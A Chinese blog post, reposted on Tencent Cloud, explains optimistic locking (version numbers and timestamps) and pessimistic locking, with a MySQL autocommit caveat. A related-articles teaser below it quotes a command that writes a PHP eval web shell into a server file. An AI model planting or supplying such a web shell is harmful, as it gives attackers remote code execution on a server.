悲观锁与乐观锁

乐观锁

  1. 介绍:认为数据在使用过程中,不会被其他程序修改、所以只有在数据提交时才检测数据是否已经被修改
  2. 实现方法 1.使用版本号:给数据所在表加个字段,记录数据版本号。提交时检测版本号与未修改前的版本号一不一致。不一致说明数据已经被其他线程修改。

2.使用时间截:给数据所在表加个字段,记录时间。提交时检测时间与取出的时间截一不一致。不一致说明数据已经被其他线程修改。

  1. 使用场景:如上下级审核文件。

悲观锁

  1. 介绍:悲观的认为数据提交时会发生并发冲突,屏蔽一切可能违反数据完整性的操作
  2. 使用方法:在准备修改某数据时,给该数据加锁,加锁失败说明有人正在占用,成功则修改数据提交,事务完成释放锁。
  3. 使用场景:数据争用激烈的环境,以及发生并发冲突时使用锁保护数据的成本要低于回滚事务的成本的环境中。
  4. 注意项:MySQL InnoDB中使用悲观锁一定要关闭自动提交属性,因为MySQL默认使用autocommit模式,也就是说,当你执行一个更新操作后,MySQL会立刻将结果进行提交。 set autocommit=0;

原文发布于微信公众号 - 编程坑太多(idig88)

原文发表时间:2018-03-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏linux驱动个人学习

linux内核完全剖析——基于0.12内核-笔记(2)-统一编址和独立编址

IO是什么 ? IO(Input and Output)是输入输出接口。是CPU和其他外部设备(如串口、LCD、触摸屏、LED等)之间通信的接口。一般的,我们说...

38860
来自专栏庄进发的专栏

Nginx + Lua搭建文件上传下载服务

项目需要做一个文件上传下载服务,利用 nginx+lua 做一个代理服务,上传入口统一,分发到不同的机器存储,下载链接和物理存储隔离,支持添加 agent 的方...

2.9K00
来自专栏逸鹏说道

CSharp for Jupyter Notebook

之前说有机会就说下Linux下如何搭建C#版的交互编程,今天写篇文章还债^_^ Win下比较简单,可以自己看官方文档https://github.com/zab...

15360
来自专栏程序人生

数据的存储

这是我今年一月份在 team 内部的一次分享。介绍了主流的数据存储方案,包括:内存,文件,数据库和消息队列,以及数据序列化/反序列化的方法。很多时候,工具就在那...

38660
来自专栏小樱的经验随笔

【亲测有效】Win10家庭版Microsoft Edge页面出现乱码的两种解决方案及gpedit.msc命令无法使用的解决策略

昨天在爬取电影的时候生成的表单打开result.html时,发现页面出现如下乱码: ? 第一种方法: 上网找了半天,网上的解决方案是这样的: 1.Win + R...

48270
来自专栏Golang语言社区

Go1.8.4和Go1.9.1版本发布

文 | Chris Broadfoot 你们好gophers, 最近爆出的两则安全问题,为了修复它,我们刚刚发布了Go 1.8.4和Go 1.9.1两个版本。 ...

35660
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

47620
来自专栏沃趣科技

semi-sync原主库加入集群阻塞问题分析

前段时间支持客户处理问题的时候,发现一个semi-sync复制主从切换原master加入集群时,复制同步阻塞,无法继续同步数据的问题,非常有参考意义,整理一下,...

450100
来自专栏源码之家

最新淘客AppKey申请教程

76420
来自专栏小古哥的博客园

网站性能优化概要

一、复用(维护性、开发成本) 1、前端复用   a:文件复用:Js、css、Html、媒体文件等   b:模块复用:通过js来维护一个整体模块,包括动态引入cs...

21330

扫码关注云+社区

领取腾讯云代金券